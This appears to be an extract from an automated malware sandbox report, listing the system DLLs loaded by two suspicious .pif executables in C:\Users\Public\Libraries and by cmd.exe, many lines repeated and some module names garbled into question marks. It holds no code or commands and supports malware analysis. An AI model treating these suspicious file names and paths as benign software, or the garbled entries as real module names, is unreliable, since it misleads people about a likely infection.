          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: userenv.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: profapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: version.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasapi32.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasman.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rtutils.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: secur32.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: schannel.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: msv1_0.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ntlmshared.dllJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptdll.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: version.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: url.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieframe.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: netapi32.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: userenv.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wkscli.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: netutils.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winmm.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wininet.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wldp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: profapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??????????.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ????.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???e???????????.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???e???????????.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: tquery.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: cryptdll.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: spp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vssapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vsstrace.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: spp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vssapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vsstrace.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: endpointdlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: advapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: spp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vssapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vsstrace.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppwmi.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: slc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppcext.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winscard.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: devobj.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: uxtheme.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mscoree.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: wldp.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: amsi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: userenv.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: profapi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: version.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: gpapi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptsp.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rsaenh.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptbase.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: windows.storage.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasapi32.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasman.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rtutils.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mswsock.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: winhttp.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: iphlpapi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dnsapi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: winnsi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: rasadhlp.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: secur32.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: sspicli.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: schannel.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ntasn1.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ncrypt.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: dpapi.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: msv1_0.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: ntlmshared.dll
          Source: C:\Users\Public\Libraries\jphwmyiA.pifSection loaded: cryptdll.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: version.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: uxtheme.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: url.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieframe.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: iertutil.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: netapi32.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: userenv.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winhttp.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wkscli.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: netutils.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: amsi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: smartscreenps.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: kernel.appcore.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winmm.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wininet.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sspicli.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: windows.storage.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: wldp.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: profapi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ieproxy.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mswsock.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: iphlpapi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: winnsi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??????????.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: am.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ????.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???e???????????.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ???e???????????.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ?.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dll
